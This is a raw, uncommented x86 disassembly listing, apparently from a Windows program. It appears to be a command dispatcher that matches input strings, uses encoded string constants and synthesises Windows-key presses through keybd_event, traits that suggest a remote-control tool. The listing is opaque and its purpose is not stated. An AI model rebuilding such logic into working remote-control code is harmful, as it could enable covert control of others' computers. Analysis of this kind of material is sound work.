mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52bc40
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x597b10
call fcn.0042e750
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call fcn.00550cf4
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x74], eax
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.004499a0
mov esi, dword [ebp - 0x38]
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [esi + 0xc]
call fcn.004168c0
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.00453b70
push 0x2c
push dword [ebp - 0x74]
call fcn.00550d24
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x52bdaf
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5cd470
call fcn.004306a0
lea ecx, [ebp - 0x30]
call fcn.00446d80
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x52bdf6
test cx, cx
je 0x52bdf2
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x52bdf6
add eax, 4
add edi, 4
test cx, cx
jne 0x52bdd0
xor edi, edi
jmp 0x52bdfb
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x30]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52be16
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x52ac44
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push str.RVhQUZj56DMRY1qenBcfZSNyzFS034JzkyGMT4CuKi9yyXGc1TMQ8r2ei0b
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xd0], xmm0
call fcn.0042cb00
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xd0]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
mov ecx, esi
call fcn.00446d80
add esp, 0x18
mov ecx, edi
call fcn.004655a0
mov ecx, dword [ebp - 0xbc]
cmp ecx, 8
jb 0x52ac44
mov edx, dword [ebp - 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52beb6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcd4
push ecx
push edx
call fcn.00550d24
add esp, 8
jmp 0x52ac44
sub esp, 0x18
mov ecx, esp
push 0x5c8700
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52bf25
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52bef0
sub ecx, dword [ebp - 0x30]
je 0x52bf25
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52bf25
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52bf10
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52bf2c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52bf60
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52bf56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcd4
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52bff4
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52bfa0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
mov esi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052e000
test al, al
je 0x52ac44
mov byte [esi + 0x9c], 1
jmp 0x52ac44
sub esp, 0x18
mov ecx, esp
push 0x5c8718
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52c055
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c020
sub ecx, dword [ebp - 0x30]
je 0x52c055
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52c055
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52c040
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52c05c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52c090
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52c086
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcd4
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52c267
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c0d0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
mov edi, dword [ebp - 0x38]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, edi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052e000
test al, al
je 0x52ac44
mov byte [ebp - 4], 0x4e
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd7e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xd0]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push str.OHJBgMUNQxIEFIQUGELNGAljYUFQbjN1Rn5BShfdXB02BExhIgYRMdZBTIT7RQ8
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xbc], 0
call fcn.0042cb00
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x50
call fcn.00436780
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00437920
lea ecx, [ebp - 0x1f8]
call fcn.00436700
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea eax, [ebp - 0xd0]
cmovae esi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
lea ecx, [ebp - 0x30]
call fcn.00446d80
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.00422bb0
mov edx, dword [ebp - 0x30]
add esp, 0x24
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52c20d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x50
call fcn.00430800
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00528ed0
lea ecx, [ebp - 0xd0]
call fcn.00430800
mov edx, dword [ebp - 0x30]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52ac44
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x52ac44
sub esp, 0x18
mov ecx, esp
push 0x5c8760
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52c2c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c290
sub ecx, dword [ebp - 0x30]
je 0x52c2c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52c2c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52c2b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52c2cc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52c300
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52c2f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcd4
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52c444
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c340
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dcde
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x57
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dcde
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x9c]
call fcn.0044c700
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.0052de00
mov ecx, dword [eax]
test ecx, ecx
je 0x52c3f4
mov eax, dword [ebp - 0x38]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], edi
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
lea ecx, [esi - 0x10]
call fcn.004305b0
mov ecx, dword [ebp - 0x30]
add eax, 0x10
mov dword [edi], eax
call fcn.004655a0
jmp 0x52c3f7
mov esi, dword [ebp - 0x2c]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52c411
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52c429
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52dc3f
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x52ac5a
sub esp, 0x18
mov ecx, esp
push 0x5c8928
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52c4a5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c470
sub ecx, dword [ebp - 0x30]
je 0x52c4a5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52c4a5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52c490
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52c4ac
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52c4e0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52c4d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52dcd4
push ecx
push edx
call fcn.00550d24
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52c791
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c520
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 8
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd88
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x597b10
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5a
call fcn.00430f00
test al, al
jne 0x52c582
push 0
push 0x597b10
lea ecx, [ebp - 0x34]
call fcn.00431230
mov byte [ebp - 4], 0x5b
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd92
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x4c], eax
push 0x597b10
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x5c
call fcn.00430f00
test al, al
jne 0x52c5c6
push 0
push 0x597b10
lea ecx, [ebp - 0x4c]
call fcn.00431230
mov byte [ebp - 4], 0x5d
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dd9c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push 0x597b10
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x5e
call fcn.00430f00
test al, al
jne 0x52c60a
push 0
push 0x597b10
lea ecx, [ebp - 0x38]
call fcn.00431230
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x9c]
call fcn.0044cb20
add esp, 0xc
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dcde
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push 0x597b10
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x60
call fcn.00430f00
test al, al
jne 0x52c672
push 0
push 0x597b10
lea ecx, [ebp - 0x2c]
call fcn.00431230
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x61
mov edi, dword [ebp - 0x20]
lea edx, [ebp - 0x38]
push eax
push 2
lea eax, [ebp - 0x34]
push edi
push eax
lea ecx, [ebp - 0x4c]
call fcn.0044e700
mov byte [ebp - 4], 0x5f
or esi, 0xffffffff
mov edx, dword [ebp - 0x2c]
add esp, 0x10
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52c6b3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00430c90
mov ecx, eax
test ecx, ecx
je 0x52dcde
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push 0x597b10
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x62
call fcn.00430f00
test al, al
jne 0x52c6f3
push 0
push 0x597b10
lea ecx, [ebp - 0x2c]
call fcn.00431230
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x63
push eax
push 0x10
lea eax, [ebp - 0x34]
push edi
push eax
lea edx, [ebp - 0x38]
lea ecx, [ebp - 0x4c]
call fcn.0044e700
mov edx, dword [ebp - 0x2c]
add esp, 0x10
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52c72a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52c744
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x4c]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52c75e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52c776
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52dc3f
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x52ac5a
sub esp, 0x18
mov ecx, esp
push 0x5c87d8
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52c7f5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c7c0
sub ecx, dword [ebp - 0x30]
je 0x52c7f5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52c7f5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52c7e0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52c7fc
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x68]
call fcn.0042ece0
cmp dword [ebp - 0x20], 0
je 0x52c981
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042d470
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0x64
push eax
call fcn.0052de00
lea ecx, [ebp - 0x2c]
mov edi, dword [eax]
mov dword [ebp - 0x40], edi
call fcn.004214c0
push str.TTR3JeDYWuFgg9vFldCWbU9VoECRQfEic6LXRkccIkNVgQm8RpAAtvISQo
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x65
call fcn.00430a50
sub esp, 0x18
mov byte [ebp - 4], 0x66
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x118]
mov ecx, esp
push eax
call fcn.004306a0
lea ecx, [ebp - 0x30]
call fcn.00446d80
push esi
mov byte [ebp - 4], 0x67
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.00422bb0
add esp, 0x24
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x30]
call fcn.0042d550
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x52c89d.5
movzx eax, byte [eax + 0x52ddbc]
jmp dword [eax*4 + 0x52dda8]
mov esi, dword [ebp - 0x38]
lea ecx, [ebp - 0x68]
push str.SVRGPMDJ2ZJ0A5RdnwQcMnYoNXz098IFkqYNTJZrJjo1cEnN0xPRImvMiBVsOx01WfzkxhKBJzPdCBRqJScjdTTQp
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.00430a50
push 4
push ecx
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x68]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
mov ecx, esi
call fcn.00446d80
add esp, 0x18
mov ecx, edi
call fcn.004655a0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x66
call fcn.00430800
jmp 0x52c940
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.004061b0
jmp 0x52c940
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x52c940
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x52c940
test edi, edi
je 0x52c966
mov eax, dword [ebp - 0x38]
push dword [ebp - 0x40]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.004305b0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004655a0
lea ecx, [ebp - 0x118]
call fcn.00430800
lea ecx, [ebp - 0x2c]
call fcn.0042d550
lea ecx, [ebp - 0x34]
jmp 0x52dc3a
sub esp, 0x18
mov ecx, esp
push 0x5c87f0
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52c9e5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c9b0
sub ecx, dword [ebp - 0x30]
je 0x52c9e5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52c9e5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x50], esi
jb 0x52c9d0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00561580
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52c9ec
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x68]
call fcn.0042ece0
cmp dword [ebp - 0x20], 0
je 0x52ce0b
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
mov ecx, edi
mov dword [ebp - 4], 0x69
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52ca30
sub ecx, edx
lea eax, [ebp - 0xd0]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
sub esp, 0x20
mov byte [ebp - 4], 0x6a
mov eax, esp
lea edx, [ebp - 0xd0]
lea ecx, [ebp - 0xe0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00450de0
add esp, 0x30
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x6b
call fcn.0042eb80
push 0x13
push str.b2hWvVxgB4ODMABHw
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
call fcn.0042ebd0
sub esp, 0x18
mov byte [ebp - 4], 0x6c
lea eax, [ebp - 0x9c]
mov ecx, esp
push eax
call fcn.0042e7e0
lea ecx, [ebp - 0x100]
call fcn.00446a30
add esp, 0x18
push eax
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0x6d
call fcn.0052dee0
lea ecx, [ebp - 0x68]
push ecx
mov ecx, eax
call fcn.0043d750
mov ecx, eax
mov byte [ebp - 4], 0x6e
call fcn.0042e560
push eax
lea ecx, [ebp - 0x34]
call fcn.0042d470
lea ecx, [ebp - 0x68]
call fcn.0042ece0
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x71
call fcn.0042ece0
lea eax, [ebp - 0x34]
push eax
call fcn.0052de00
mov eax, dword [eax]
sub eax, 2
je 0x52cc5c
sub eax, 0x1e
jne 0x52cc67
push str.b0ZCLUh8n5JTc
lea ecx, [ebp - 0x118]
call fcn.0042eca0
sub esp, 0x18
mov byte [ebp - 4], 0x72
lea eax, [ebp - 0x118]
mov ecx, esp
push eax
call fcn.0042e7e0
lea ecx, [ebp - 0xb4]
call fcn.00446a30
add esp, 0x18
push eax
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0x73
call fcn.0052dee0
lea ecx, [ebp - 0x100]
push ecx
mov ecx, eax
call fcn.0043d750
mov ecx, eax
mov byte [ebp - 4], 0x74
call fcn.0042e560
push eax
lea ecx, [ebp - 0x2c]
call fcn.0042d470
lea ecx, [ebp - 0x100]
call fcn.0042ece0
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x77
call fcn.0042ece0
mov esi, dword [ebp - 0x38]
mov eax, dword [esi + 0xc]
mov edi, dword [eax + 0x54]
test edi, edi
je 0x52cc47
mov edx, 0x5abcec
lea ecx, [ebp - 0x2c]
call fcn.0052e000
test al, al
je 0x52cbdb
mov byte [edi + 0x1d], 1
push 0x61
jmp 0x52cbf2
mov edx, 0x5aed10
lea ecx, [ebp - 0x2c]
call fcn.0052e000
test al, al
je 0x52cbf9
mov byte [edi + 0x1d], 0
push 0x62
mov ecx, edi
call fcn.0046dfb0
lea edx, [ebp - 0x34]
mov ecx, esi
call fcn.00436ad0
test al, al
je 0x52cc47
push str.NExU2N09u8NUdE8bnQNMFDd2ARFwjEI2hDEJTpTKWzt2vDRYhyMVlB2EydSzVT434XxYxOKQ
lea ecx, [ebp - 0x68]
call fcn.00430a50
push 0x20
push ecx
mov edi, esp
mov byte [ebp - 4], 0x78
mov esi, dword [esi + 0x10]
lea eax, [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004306a0
mov ecx, edi
call fcn.00446d80
add esp, 0x18
mov ecx, esi
call fcn.004655a0
lea ecx, [ebp - 0x68]
call fcn.00430800
lea ecx, [ebp - 0x2c]
call fcn.0042d550
lea ecx, [ebp - 0x118]
call fcn.0042ece0
jmp 0x52cc67
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.0041fc90
lea ecx, [ebp - 0x34]
call fcn.0042d550
lea ecx, [ebp - 0x9c]
call fcn.0042ece0
lea ecx, [ebp - 0xe0]
call fcn.0042c730
lea ecx, [ebp - 0xd0]
call fcn.0042ece0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c88f8
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52d260
lea ecx, [ebp - 0xd0]
call fcn.0042c9b0
mov ecx, edi
mov dword [ebp - 4], 0x85
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52ce60
sub ecx, edx
lea eax, [ebp - 0xd0]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
sub esp, 0x10
mov ecx, esp
push 0x5c8a30
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
lea ecx, [ebp - 0xd0]
mov edx, eax
call fcn.0052e230
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x41], al
call fcn.0042ece0
cmp byte [ebp - 0x41], 0
je 0x52cecf
call fcn.0044e210
lea ecx, [ebp - 0xd0]
call fcn.0042ece0
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8a48
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
lea ecx, [ebp - 0xd0]
mov edx, eax
call fcn.0052e230
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x41], al
call fcn.0042ece0
cmp byte [ebp - 0x41], 0
je 0x52cf28
push 0
push 0
push 0x44e640
